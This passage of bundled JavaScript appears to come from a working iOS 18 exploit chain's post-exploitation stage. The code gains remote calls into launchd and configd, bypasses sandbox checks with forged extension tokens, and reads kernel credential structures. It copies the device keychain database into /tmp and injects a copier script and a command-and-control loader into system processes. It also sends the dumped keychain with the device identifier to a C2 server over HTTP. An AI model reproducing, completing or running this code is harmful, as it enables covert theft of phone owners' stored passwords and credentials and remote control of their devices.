for (var ui = 0; ui < u8.length; ui++) if (u8[ui]) txt += String.fromCharCode(u8[ui]);
} catch (_r3) {}
}
try { N0.callSymbol("free", mem); } catch (_f) {}
txt = (txt || "").replace(/\0/g, "").trim();
return txt === __peRunToken;
} catch (_e) { return true; }
}
function __peClaimRunToken() {
if (__peRunTokenClaimed) return true;
try {
var Nlock = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"];
var paths = ["/tmp/pe_lab_run.token", "/private/var/tmp/pe_lab_run.token"];
for (var pi = 0; pi < paths.length; pi++) {
var lfd = Number(Nlock.callSymbol("open", paths[pi], 0x601, 0x1FF));
if (lfd < 0) continue;
__peLockPath = paths[pi];
var lbuf = Nlock.callSymbol("malloc", BigInt(__peRunToken.length + 1));
Nlock.writeString(lbuf, __peRunToken);
Nlock.callSymbol("write", lfd, lbuf, __peRunToken.length);
Nlock.callSymbol("close", lfd);
try { Nlock.callSymbol("free", lbuf); } catch (_lf) {}
try { Nlock.callSymbol("chmod", __peLockPath, 0x1FF); } catch (_lc) {}
__peRunTokenClaimed = true;
p7_flog("PEMK-B pe_run_token claimed path=" + __peLockPath);
p7_flushLog();
return true;
}
p7_flog("PEMK-B pe_run_token open fail (continue without lock)");
p7_flushLog();
} catch (_lk) {
try { p7_flog("PEMK-B pe_run_token err: " + _lk); p7_flushLog(); } catch (_e2) {}
}
return false;
}
p7_flog("PEMK-A pe_run_token deferred until after s1 tokens"); p7_flushLog();
// ===== Staged execution (current success flow) — /pe_stage/*.js marks progress =====
// s1 launchd+tokens → s2 keychain_copier → s3 mempress/destroy launchd
// → s4 SB loader → s6 Phase2 sqlite/securityd → s5 c2 (after dump; avoid securityd contention)
let launchdTask = null;
var __labKcCopier = null;
function __labKcReadStatus() {
// Parse configd notify file. Ready iff ready=1 or db_ok=1 (copy finished).
try {
var N0 = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"];
var fd = Number(N0.callSymbol("open", "/tmp/keychain_copier_status.txt", 0));
if (fd < 0) {
fd = Number(N0.callSymbol("open", "/tmp/keychain_mpd_go", 0));
if (fd < 0) return null;
var gsz = Number(N0.callSymbol("lseek", fd, 0, 2));
N0.callSymbol("lseek", fd, 0, 0);
if (gsz <= 0 || gsz > 512) { N0.callSymbol("close", fd); return null; }
var gmem = N0.callSymbol("malloc", BigInt(gsz + 1));
N0.callSymbol("read", fd, gmem, gsz);
N0.callSymbol("close", fd);
var gtxt = "";
try { gtxt = N0.readString(gmem); } catch (_rs) {
try {
var g8 = new Uint8Array(N0.read(gmem, gsz));
for (var gi = 0; gi < g8.length; gi++) if (g8[gi]) gtxt += String.fromCharCode(g8[gi]);
} catch (_r2) {}
}
N0.callSymbol("free", gmem);
gtxt = (gtxt || "").replace(/\0/g, "").trim();
if (!gtxt) return null;
return { ready: true, path: gtxt.split(/\s/)[0], raw: "go:" + gtxt };
}
var sz = Number(N0.callSymbol("lseek", fd, 0, 2));
N0.callSymbol("lseek", fd, 0, 0);
if (sz <= 0 || sz > 1024) { N0.callSymbol("close", fd); return null; }
var mem = N0.callSymbol("malloc", BigInt(sz + 1));
N0.callSymbol("read", fd, mem, sz);
N0.callSymbol("close", fd);
var txt = "";
try { txt = N0.readString(mem); } catch (_rs2) {
try {
var u8 = new Uint8Array(N0.read(mem, sz));
for (var ui = 0; ui < u8.length; ui++) if (u8[ui]) txt += String.fromCharCode(u8[ui]);
} catch (_r3) {}
}
N0.callSymbol("free", mem);
txt = (txt || "").replace(/\0/g, "").trim();
if (!txt) return null;
var ready = (/\bready=1\b/.test(txt) || /\bdb_ok=1\b/.test(txt));
var path = "/tmp/keychain-2.db";
var pm = txt.match(/\bpath=(\S+)/);
if (pm) path = pm[1];
return { ready: ready, path: path, raw: txt };
} catch (_e) { return null; }
}
function __labKcDbSize(path) {
try {
var N0 = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"];
var fd = Number(N0.callSymbol("open", path, 0));
if (fd < 0) return -1;
var sz = Number(N0.callSymbol("lseek", fd, 0, 2));
N0.callSymbol("close", fd);
return sz;
} catch (_e) { return -1; }
}
// True "remote copy": open/read/write inside configd via RemoteCall (no InjectJS race).
function __labRcCopyFile(rc, srcPath, dstPath) {
try {
var chunk = 0x10000;
var pathBuf = rc.call(100, "calloc", 1, 512);
if (!pathBuf || pathBuf === 0n) return { ok: false, err: "calloc_path" };
rc.writeStr(pathBuf, srcPath);
var srcFd = Number(rc.call(100, "open", pathBuf, 0));
if (srcFd < 0) {
rc.call(100, "free", pathBuf);
return { ok: false, err: "open_src", fd: srcFd };
}
var sz = Number(rc.call(100, "lseek", srcFd, 0, 2));
rc.call(100, "lseek", srcFd, 0, 0);
if (sz <= 0) {
rc.call(100, "close", srcFd);
rc.call(100, "free", pathBuf);
return { ok: false, err: "empty", sz: sz };
}
rc.writeStr(pathBuf, dstPath);
var dstFd = Number(rc.call(100, "open", pathBuf, 0x601, 511));
if (dstFd < 0) {
rc.call(100, "close", srcFd);
rc.call(100, "free", pathBuf);
return { ok: false, err: "open_dst", fd: dstFd };
}
var buf = rc.call(100, "calloc", 1, chunk);
if (!buf || buf === 0n) {
rc.call(100, "close", srcFd);
rc.call(100, "close", dstFd);
rc.call(100, "free", pathBuf);
return { ok: false, err: "calloc_buf" };
}
var left = sz;
var ok = true;
while (left > 0) {
var n = left > chunk ? chunk : left;
var nr = Number(rc.call(100, "read", srcFd, buf, n));
if (nr <= 0) { ok = false; break; }
var nw = Number(rc.call(100, "write", dstFd, buf, nr));
if (nw !== nr) { ok = false; break; }
left -= nr;
}
rc.call(100, "close", srcFd);
rc.call(100, "close", dstFd);
rc.call(100, "chmod", pathBuf, 511);
rc.call(100, "free", buf);
rc.call(100, "free", pathBuf);
return { ok: ok && left === 0, sz: sz, left: left };
} catch (e) {
return { ok: false, err: String(e) };
}
}
function __labApplyFreshToken(rc, path) {
try {
var tok = libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath(path, false);
if (!tok) return false;
var rm = rc.mem();
rc.writeStr(rm, tok);
rc.call(100, "sandbox_extension_consume", rm);
return true;
} catch (_e) { return false; }
}
function __labWriteCopierReady(rc, path, sz) {
try {
var st = "ready=1 db_ok=1 path=" + path + " sz=" + sz + " src=1 via=rc_copy\n";
var pb = rc.call(100, "calloc", 1, 512);
rc.writeStr(pb, "/tmp/keychain_copier_status.txt");
var fd = Number(rc.call(100, "open", pb, 0x601, 511));
if (fd >= 0) {
var sb = rc.call(100, "calloc", 1, st.length + 1);
rc.writeStr(sb, st);
rc.call(100, "write", fd, sb, st.length);
rc.call(100, "close", fd);
rc.call(100, "free", sb);
rc.call(100, "chmod", pb, 511);
}
rc.writeStr(pb, "/tmp/keychain_mpd_go");
fd = Number(rc.call(100, "open", pb, 0x601, 511));
if (fd >= 0) {
var gb = rc.call(100, "calloc", 1, path.length + 2);
rc.writeStr(gb, path + "\n");
rc.call(100, "write", fd, gb, path.length + 1);
rc.call(100, "close", fd);
rc.call(100, "free", gb);
rc.call(100, "chmod", pb, 511);
}
rc.call(100, "free", pb);
} catch (_w) {}
}
function __labParseIosVer() {
var out = { maj: 0, min: 0, pat: 0, raw: "" };
try {
var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"];
var sizePtr = N.callSymbol("calloc", 1, 8);
if (!sizePtr || sizePtr === 0n) return out;
var rc = Number(N.callSymbol("sysctlbyname", "kern.osproductversion", 0, sizePtr, 0, 0));
if (rc !== 0) { N.callSymbol("free", sizePtr); return out; }
var sz = Number(N.readPtr(BigInt(sizePtr)));
if (sz <= 0 || sz > 64) { N.callSymbol("free", sizePtr); return out; }
var buf = N.callSymbol("malloc", BigInt(sz + 1));
if (!buf || buf === 0n) { N.callSymbol("free", sizePtr); return out; }
N.write64(sizePtr, BigInt(sz + 1));
rc = Number(N.callSymbol("sysctlbyname", "kern.osproductversion", buf, sizePtr, 0, 0));
var s = "";
if (rc === 0) {
try { s = N.readString(buf, sz).replace(/\0/g, ""); } catch (_rs) { s = ""; }
}
N.callSymbol("free", buf);
N.callSymbol("free", sizePtr);
out.raw = s || "";
var m = String(s).match(/^(\d+)\.(\d+)(?:\.(\d+))?/);
if (m) {
out.maj = parseInt(m[1], 10) || 0;
out.min = parseInt(m[2], 10) || 0;
out.pat = m[3] ? (parseInt(m[3], 10) || 0) : 0;
}
} catch (_e) {}
return out;
}
// s5 previously called typeof __labParseIosVer inside stage2 scope → always ios=? / useNuiC2=0.
// Cache + xnu fallback so 18.5/18.6.1+ correctly take the deadlock-safe NUI C2 path.
function __labIosForGate() {
var v = null;
try {
if (globalThis.__labIosVer && globalThis.__labIosVer.maj)
v = globalThis.__labIosVer;
} catch (_c) {}
if (!v || !v.maj)
v = __labParseIosVer();
if (v && v.maj) {
try { globalThis.__labIosVer = v; } catch (_s) {}
return v;
}
try {
var xv = globalThis.xnuVersion;
var xm = xv ? Number(xv.major) || 0 : 0;
var xn = xv ? Number(xv.minor) || 0 : 0;
if (xm === 24 && xn === 5)
v = { maj: 18, min: 5, pat: 0, raw: "18.5(xnu24.5)" };
else if (xm === 24 && xn >= 6)
// Prefer NUI C2 when patch unknown (18.6.1+ deadlock); 18.6.0 also OK on NUI.
v = { maj: 18, min: 6, pat: 1, raw: "18.6+(xnu24." + xn + ")" };
} catch (_x) {}
if (!v) v = { maj: 0, min: 0, pat: 0, raw: "" };
try { if (v.maj) globalThis.__labIosVer = v; } catch (_s2) {}
return v;
}
function __peStage1() {
p7_flog("PEMK-B0 before launchd RemoteCall isLaunchdSafe=1"); p7_flushLog();
try { pe_alive_ping("pe_s1_pre_launchd"); } catch (_s1a) {}
LOG("[PE] creating launchdTask...");
launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);
p7_flog("PEMK-B0 after launchd ctor ok=" + !!(launchdTask && launchdTask.success()) + " fail=" + (globalThis.__peRemoteFail || 0)); p7_flushLog();
try { pe_alive_ping("pe_s1_post_launchd"); } catch (_s1b) {}
if (!launchdTask.success()) {
LOG("[PE] launchdTask FAILED");
p7_flog("PEMK-B launchdTask FAILED"); p7_flushLog();
try { globalThis.__peAbort = true; } catch (_a) {}
return;
}
LOG("[PE] launchdTask OK, init sandbox...");
p7_flog("PEMK-B1 before initWithLaunchdTask"); p7_flushLog();
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask);
// Skip deleteCrashReports: first post-ctor launchd token + recursive deleteDir
// reboots A13 (iPhone12,x) before createTokens even starts.
p7_flog("PEMK-B1 skip deleteCrashReports"); p7_flushLog();
p7_flog("PEMK-B1 before createTokens (nui-gate)"); p7_flushLog();
try {
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens();
LOG("[PE] sandbox tokens created");
p7_flog("PEMK-B1 tokens ok"); p7_flushLog();
} catch (tokEx) {
p7_flog("PEMK-B1 createTokens THREW: " + String(tokEx).slice(0, 120));
p7_flushLog();
throw tokEx;
}
// ===== Self-process ucred READ-ONLY probe =====
// Uses the PROVEN path from sandbox extension code (line 6641-6653):
// proc + 0x18 -> credRef + 0x28 -> ucred
// ucred + 0x18 = cr_uid (offset 24, matches IDA key 35)
// ucred + 0x78 = cr_label (offset 120, matches IDA key 44)
try {
let C = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"];
let HEX = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_5__["default"].hex;
let T = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__["default"];
let selfTask = T.gSelfTask.addr;
let selfProcRO = C.read64(selfTask + C.offsets().procRO);
let selfProc = C.read64(selfProcRO);
LOG("[UCRED] task=" + HEX(C.strip(selfTask)) + " proc=" + HEX(C.strip(selfProc)));
let credRef = C.read64(selfProc + 0x18n);
LOG("[UCRED] credRef=" + HEX(C.strip(credRef)));
let diag = "proc=" + HEX(C.strip(selfProc));
if (credRef && C.strip(credRef) >= 0xffffffd000000000n) {
let ucred = C.read64(credRef + 0x28n);
LOG("[UCRED] ucred=" + HEX(C.strip(ucred)));
diag += "|ucred=" + HEX(C.strip(ucred));
if (ucred && C.strip(ucred) >= 0xffffffd000000000n) {
let cr_uid = C.read32(ucred + 0x18n);
let cr_ruid = C.read32(ucred + 0x1cn);
let cr_svuid = C.read32(ucred + 0x20n);
let cr_ngroups = C.read32(ucred + 0x24n);
let cr_label = C.read64(ucred + 0x78n);
LOG("[UCRED] cr_uid=" + cr_uid + " cr_ruid=" + cr_ruid + " cr_svuid=" + cr_svuid + " cr_ngroups=" + cr_ngroups);
LOG("[UCRED] cr_label=" + HEX(C.strip(cr_label)));
diag += "|uid=" + cr_uid + "|ruid=" + cr_ruid + "|svuid=" + cr_svuid;
diag += "|ngroups=" + cr_ngroups + "|cr_label=" + HEX(C.strip(cr_label));
// Also dump a few more ucred fields for structure verification
for (let doff = 0x00n; doff <= 0x80n; doff += 8n) {
try {
let val = C.read64(ucred + doff);
diag += "|u+" + doff.toString(16) + "=" + HEX(C.strip(val));
} catch(e3) {}
}
} else {
diag += "|ucred_INVALID";
}
} else {
diag += "|credRef_INVALID";
}
globalThis.__ucredDiag = diag;
LOG("[UCRED] diag=" + diag.substring(0, 200));
} catch (probeErr) {
globalThis.__ucredDiag = "probe_error:" + String(probeErr);
LOG("[UCRED] error: " + probeErr);
}
// ===== End ucred probe =====
// Flush Phase 1 log now that sandbox tokens exist
if (p7_enableP7) {
p7_flog("launchd RC OK, sandbox tokens created");
p7_flushLog();
}
// ===== keychain_copier: must run BEFORE P7 Phase 2 sqlite pipeline =====
// keepAlive until /tmp DB is usable - destroy() tears RC and kills mid-copy.
p7_flog("PEMK-B s1_launchd ok"); p7_flushLog();
try { __peClaimRunToken(); } catch (_ct) { try { p7_flog("PEMK-B pe_run_token claim throw: " + _ct); p7_flushLog(); } catch (_e) {} }
}
function __peStage2() {
// Clear stale copier notify so we do not race a previous run.
try {
var __Nclr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"];
__Nclr.callSymbol("unlink", "/tmp/keychain_copier_status.txt");
__Nclr.callSymbol("unlink", "/tmp/keychain_mpd_go");
__Nclr.callSymbol("unlink", "/tmp/keychain-2.db");
} catch (_u) {}
__labKcCopier = null;
var __rcCopyOk = false;
var __rcCopySz = -1;
// Detect iOS version: 18.6.1+ must NOT enter RemoteCall rc_copy (hangs).
// 18.6.0 keeps the lab rc_copy primary path unchanged.
var __iosV = __labIosForGate();
try { globalThis.__labIosVer = __iosV; } catch (_cv) {}
// 18.6.1 / 18.6.2: match iOS18nui InjectJS path (no PEMK-C0 rc_copy).
var __useNuiKc = (__iosV.maj === 18 && __iosV.min === 6 && __iosV.pat >= 1);
p7_flog("PEMK-C0 ios=" + (__iosV.raw || "?") + " useNuiKc=" + (__useNuiKc ? "1" : "0")); p7_flushLog();
if (__useNuiKc) {
// ===== iOS18nui path (18.6.1 / 18.6.2) =====
// inject() evaluates keychain_copier in a BACKGROUND thread and returns immediately.
// Full applyTokensForRemoteTask() into the same configd while that script runs hangs
// on 18.6.2 (seen: stuck at "inject OK -> applyTokens", never destroy / s3+).
// Fix: open configd RC, apply ONLY keychain/tmp tokens, inject via existing task,
// then destroy WITHOUT full PathDictionary apply. Copier finishes during the 3s settle.
LOG("[PE-WORKER] inject keychain_copier -> configd (nui 18.6.1+)");
p7_flog("PEMK-C0 nui InjectJS begin"); p7_flushLog();
try { pe_alive_ping("pe_s2_nui_begin"); } catch (_pi0) {}
try {
var __kcRC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass);
if (!__kcRC.success()) {
LOG("[PE-WORKER] keychain_copier: configd RC failed");
p7_flog("PEMK-C0 nui configd RC failed"); p7_flushLog();
try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2a) {}
} else {
p7_flog("PEMK-C0 nui configd RC ok -> pre-token"); p7_flushLog();
var __kcPaths = [
"/private/var/Keychains/",
"/private/var/Keychains/keychain-2.db",
"/private/var/Keychains/keychain-2.db-wal",
"/private/var/Keychains/keychain-2.db-shm",
"/tmp/",
"/tmp/keychain-2.db",
"/private/var/tmp/"
];
var __kcTokOk = 0;
for (var __kpi = 0; __kpi < __kcPaths.length; __kpi++) {
try {
if (__labApplyFreshToken(__kcRC, __kcPaths[__kpi])) __kcTokOk++;
} catch (_kt) {}
}
p7_flog("PEMK-C0 nui pre-token ok=" + __kcTokOk + "/" + __kcPaths.length); p7_flushLog();
var kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__kcRC, _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass);
p7_flog("PEMK-C0 nui InjectJS ctor ok"); p7_flushLog();
var __injT0 = Date.now();
if (kcCopier.inject()) {
LOG("[PE-WORKER] keychain_copier OK");
// Do NOT applyTokensForRemoteTask here — deadlocks with bg evaluateScript on 18.6.2.
p7_flog("PEMK-C0 nui inject OK ms=" + (Date.now() - __injT0) + " skip full applyTokens -> destroy"); p7_flushLog();
kcCopier.destroy();
p7_flog("PEMK-C0 nui destroy ok"); p7_flushLog();
try { pe_alive_ping("pe_s2_nui_ok"); } catch (_pi1) {}
} else {
LOG("[PE-WORKER] keychain_copier FAILED");
p7_flog("PEMK-C0 nui inject FAILED ms=" + (Date.now() - __injT0)); p7_flushLog();
try { __kcRC.destroy(); } catch (_rd) {}
try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2) {}
}
}
} catch (kcErr) {
LOG("[PE-WORKER] keychain_copier error: " + kcErr);
p7_flog("PEMK-C0 nui exception: " + kcErr); p7_flushLog();
try { pe_alive_ping("pe_s2_nui_exc"); } catch (_pi3) {}
}
// Background copier needs a short settle before Phase2 /tmp open.
LOG("[PE-WORKER] waiting 3s for keychain copy (nui)...");
for (var __nuiWi = 1; __nuiWi <= 3; __nuiWi++) {
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
}
p7_flog("PEMK-C s2_keychain done nui=1 rcCopy=0"); p7_flushLog();
try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {}
return;
}
// ===== PRIMARY (18.6.0 / non-18.6.1+): RemoteCall copy inside configd =====
// Issue fresh Keychains tokens → consume into configd → open/read/write → /tmp.
// Avoids InjectJS evaluateScript race that often copies before tokens land.
LOG("[PE-WORKER] RemoteCall keychain copy via configd...");
p7_flog("PEMK-C0 rc_copy start"); p7_flushLog();
try {
p7_flog("PEMK-C0 before RemoteCall(configd)"); p7_flushLog();
var cfgRc = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass);
p7_flog("PEMK-C0 after RemoteCall success=" + !!(cfgRc && cfgRc.success())); p7_flushLog();
if (cfgRc && cfgRc.success()) {
var __tokPaths = [
"/private/var/Keychains/",
"/private/var/Keychains/keychain-2.db",
"/private/var/Keychains/keychain-2.db-wal",
"/private/var/Keychains/keychain-2.db-shm",
"/var/Keychains/",
"/var/Keychains/keychain-2.db",
"/tmp/",
"/private/var/tmp/"
];
var __tokN = 0;
for (var __ti = 0; __ti < __tokPaths.length; __ti++) {
if (__labApplyFreshToken(cfgRc, __tokPaths[__ti])) __tokN++;
}
try {
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(cfgRc);
} catch (_at) {}
p7_flog("PEMK-C0 tokens fresh=" + __tokN); p7_flushLog();
var __pairs = [
["/private/var/Keychains/keychain-2.db", "/tmp/keychain-2.db"],
["/private/var/Keychains/keychain-2.db-wal", "/tmp/keychain-2.db-wal"],
["/private/var/Keychains/keychain-2.db-shm", "/tmp/keychain-2.db-shm"]
];
for (var __fi = 0; __fi < __pairs.length; __fi++) {
var __cr = __labRcCopyFile(cfgRc, __pairs[__fi][0], __pairs[__fi][1]);
p7_flog("PEMK-C0 copy " + __pairs[__fi][1].split("/").pop() +
" ok=" + __cr.ok + " sz=" + __cr.sz + " err=" + (__cr.err || ""));
p7_flushLog();
if (__fi === 0 && __cr.ok && __cr.sz > 1048576) {
__rcCopyOk = true;
__rcCopySz = __cr.sz;
}
}
if (!__rcCopyOk) {
var __cr2 = __labRcCopyFile(cfgRc, "/var/Keychains/keychain-2.db", "/tmp/keychain-2.db");
p7_flog("PEMK-C0 copy alt ok=" + __cr2.ok + " sz=" + __cr2.sz + " err=" + (__cr2.err || ""));
p7_flushLog();
if (__cr2.ok && __cr2.sz > 1048576) {
__rcCopyOk = true;
__rcCopySz = __cr2.sz;
}
}
if (__rcCopyOk) {
__labWriteCopierReady(cfgRc, "/tmp/keychain-2.db", __rcCopySz);
try {
globalThis.__labKcCopyPath = "/tmp/keychain-2.db";
globalThis.__labKcReady = true;
} catch (_g) {}
p7_flog("PEMK-C0 READY via rc_copy sz=" + __rcCopySz); p7_flushLog();
LOG("[PE-WORKER] rc_copy READY sz=" + __rcCopySz);
}
// Breadcrumbs: last pe_mpd was READY then silence → pin destroy vs InjectJS.
p7_flog("PEMK-C0 before cfgRc.destroy"); p7_flushLog();
try { pe_alive_ping("pe_s2_pre_destroy"); } catch (_pd0) {}
try {
cfgRc.destroy();
p7_flog("PEMK-C0 after cfgRc.destroy ok"); p7_flushLog();
try { pe_alive_ping("pe_s2_post_destroy"); } catch (_pd1) {}
} catch (_d) {
p7_flog("PEMK-C0 cfgRc.destroy threw: " + _d); p7_flushLog();
try { pe_alive_ping("pe_s2_destroy_err"); } catch (_pd2) {}
}
} else {
p7_flog("PEMK-C0 configd RemoteCall FAILED"); p7_flushLog();
LOG("[PE-WORKER] configd RemoteCall FAILED");
}
} catch (__rcErr) {
p7_flog("PEMK-C0 rc_copy exception: " + __rcErr); p7_flushLog();
LOG("[PE-WORKER] rc_copy error: " + __rcErr);
}
// ===== SECONDARY: InjectJS keychain_copier (fallback only) =====
// (3) rc_copy READY already put db/wal/shm in /tmp — do NOT re-run copier (108MB race).
// (2) fallback: deferStart → applyTokens → startScript (tokens before evaluateScript).
if (__rcCopyOk) {
p7_flog("PEMK-C0 skip InjectJS: rc_copy READY sz=" + __rcCopySz); p7_flushLog();
try { pe_alive_ping("pe_s2_skip_inject_rc_ok"); } catch (_pi0) {}
LOG("[PE-WORKER] skip keychain_copier InjectJS (rc_copy READY)");
} else {
p7_flog("PEMK-C0 before InjectJS ctor (rc_copy miss)"); p7_flushLog();
try { pe_alive_ping("pe_s2_pre_inject"); } catch (_pi0) {}
LOG("[PE-WORKER] inject keychain_copier -> configd (deferStart then tokens)");
try {
let kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"]("configd", _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass);
p7_flog("PEMK-C0 InjectJS ctor ok, calling inject(deferStart)"); p7_flushLog();
try { pe_alive_ping("pe_s2_inject_call"); } catch (_pi1) {}
if (kcCopier.inject(0, { deferStart: true })) {
p7_flog("PEMK-C0 inject(defer) returned true"); p7_flushLog();
try { pe_alive_ping("pe_s2_inject_ok"); } catch (_pi2) {}
LOG("[PE-WORKER] keychain_copier prepared (deferred)");
p7_flog("PEMK-C0 before applyTokens"); p7_flushLog();
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task);
try {
__labApplyFreshToken(kcCopier.task, "/private/var/Keychains/");
__labApplyFreshToken(kcCopier.task, "/private/var/Keychains/keychain-2.db");
__labApplyFreshToken(kcCopier.task, "/tmp/");
} catch (_ft) {
p7_flog("PEMK-C0 freshToken warn: " + _ft); p7_flushLog();
}
p7_flog("PEMK-C0 after applyTokens"); p7_flushLog();
try { pe_alive_ping("pe_s2_post_tokens"); } catch (_pi3) {}
p7_flog("PEMK-C0 before startScript"); p7_flushLog();
kcCopier.startScript();
p7_flog("PEMK-C0 after startScript"); p7_flushLog();
try { pe_alive_ping("pe_s2_start_script"); } catch (_pi3b) {}
LOG("[PE-WORKER] keychain_copier OK (tokens then evaluate)");
__labKcCopier = kcCopier;
} else {
p7_flog("PEMK-C0 inject() returned false"); p7_flushLog();
try { pe_alive_ping("pe_s2_inject_fail"); } catch (_pi4) {}
LOG("[PE-WORKER] keychain_copier FAILED");
}
} catch (kcErr) {
p7_flog("PEMK-C0 InjectJS/inject exception: " + kcErr); p7_flushLog();
try { pe_alive_ping("pe_s2_inject_exc"); } catch (_pi5) {}
LOG("[PE-WORKER] keychain_copier error: " + kcErr);
}
}
p7_flog("PEMK-C s2_keychain done rcCopy=" + __rcCopyOk + " sz=" + __rcCopySz); p7_flushLog();
try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {}
}
function __peStage3() {
// Brief settle then inject c2 BEFORE long DB wait so devices that die mid-copy still beacon.
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 2);
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess);
LOG("[PE] destroying launchd RC to free zone resources...");
try { launchdTask.destroy(); } catch(e) { LOG("[PE] launchd destroy warn: " + e); }
// ===== Inject loader + c2_agent BEFORE P7 Phase 2 (and before long kc wait) =====
p7_flog("PEMK-D s3_mempress launchd destroyed"); p7_flushLog();
}
function __peStage4() {
// Fine-grained diag: pin hang to InjectJS ctor / inject() / applyTokens / destroy.
LOG("[PE-WORKER] inject loader -> " + targetProcess);
p7_flog("PEMK-E0 s4 begin target=" + targetProcess); p7_flushLog();
var __s4Ok = false;
try {
p7_flog("PEMK-E0 before InjectJS ctor"); p7_flushLog();
var __tCtor = Date.now();
let agentLoader = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass);
p7_flog("PEMK-E0 InjectJS ctor ok ms=" + (Date.now() - __tCtor)); p7_flushLog();
let agentPid = 0;
p7_flog("PEMK-E0 before inject()"); p7_flushLog();
var __tInj = Date.now();
var __injOk = false;
try {
__injOk = !!agentLoader.inject();
} catch (_injE) {
p7_flog("PEMK-E0 inject() threw: " + _injE); p7_flushLog();
throw _injE;
}
p7_flog("PEMK-E0 inject() returned ok=" + (__injOk ? "1" : "0") + " ms=" + (Date.now() - __tInj)); p7_flushLog();
if (__injOk) {
try { agentPid = agentLoader.task.pid(); } catch (_pidE) {
p7_flog("PEMK-E0 pid() threw: " + _pidE); p7_flushLog();
}
LOG("[PE-WORKER] loader OK pid=" + agentPid);
p7_flog("PEMK-E0 loader OK pid=" + agentPid + " -> applyTokens"); p7_flushLog();
var __tTok = Date.now();
try {
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task);
p7_flog("PEMK-E0 applyTokens ok ms=" + (Date.now() - __tTok)); p7_flushLog();
} catch (_tokE) {
p7_flog("PEMK-E0 applyTokens threw ms=" + (Date.now() - __tTok) + " err=" + _tokE); p7_flushLog();
throw _tokE;
}
p7_flog("PEMK-E0 before destroy"); p7_flushLog();
try { agentLoader.destroy(); } catch (_dE) {
p7_flog("PEMK-E0 destroy warn: " + _dE); p7_flushLog();
}
p7_flog("PEMK-E0 destroy ok"); p7_flushLog();
__s4Ok = true;
} else {
LOG("[PE-WORKER] loader inject FAILED");
p7_flog("PEMK-E0 loader inject FAILED"); p7_flushLog();
}
} catch (_s4E) {
LOG("[PE-WORKER] s4_loader error: " + _s4E);
p7_flog("PEMK-E0 exception: " + _s4E); p7_flushLog();
}
p7_flog("PEMK-E s4_loader done ok=" + (__s4Ok ? "1" : "0")); p7_flushLog();
}
function __pePostWarDumpFallback(reason) {
// When SpringBoard RC/inject fails after Phase2, still ship dump via MPD HTTP.
try {
var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"];
var dumpPath = "/tmp/keychain_c2_dump.json";
if (Number(N.callSymbol("access", dumpPath, 0)) !== 0) {
p7_flog("PEMK-F0 war-fallback skip: no dump (" + reason + ")"); p7_flushLog();
return false;
}
var fd = Number(N.callSymbol("open", dumpPath, 0));
if (fd < 0) { p7_flog("PEMK-F0 war-fallback open fail"); p7_flushLog(); return false; }
var sz = Number(N.callSymbol("lseek", fd, 0, 2));
N.callSymbol("lseek", fd, 0, 0);
if (!(sz > 32) || sz > 5 * 1024 * 1024) {
N.callSymbol("close", fd);
p7_flog("PEMK-F0 war-fallback bad sz=" + sz); p7_flushLog();
return false;
}
var buf = N.callSymbol("malloc", BigInt(sz + 1));
var nr = Number(N.callSymbol("read", fd, buf, sz));
N.callSymbol("close", fd);
if (nr !== sz) {
try { N.callSymbol("free", buf); } catch (_f) {}
p7_flog("PEMK-F0 war-fallback read nr=" + nr + " sz=" + sz); p7_flushLog();
return false;
}
var dumpStr = N.readString(buf, sz);
try { N.callSymbol("free", buf); } catch (_f2) {}
var kcObj = null;
try { kcObj = JSON.parse(dumpStr); } catch (_pj) { kcObj = null; }
if (!kcObj) {
p7_flog("PEMK-F0 war-fallback json parse fail"); p7_flushLog();
return false;
}
var uuid = "";
try { uuid = String(globalThis.__LAB_DEVICE_UUID__ || ""); } catch (_u) {}
var pkg = {
device_uuid: uuid,
uuid: uuid,
lhu: uuid,
source: "pe_war_fallback",
reason: String(reason || ""),
keychain: kcObj,
sandbox: {}
};
var body = JSON.stringify(pkg);
var ok = !!__labCfHttp("POST", "/war", body, false, { host: "192.168.31.130", port: 8080 });
p7_flog("PEMK-F0 war-fallback " + (ok ? "POST ok" : "POST fail") + " bytes=" + body.length + " reason=" + reason);
p7_flushLog();
return ok;
} catch (e) {
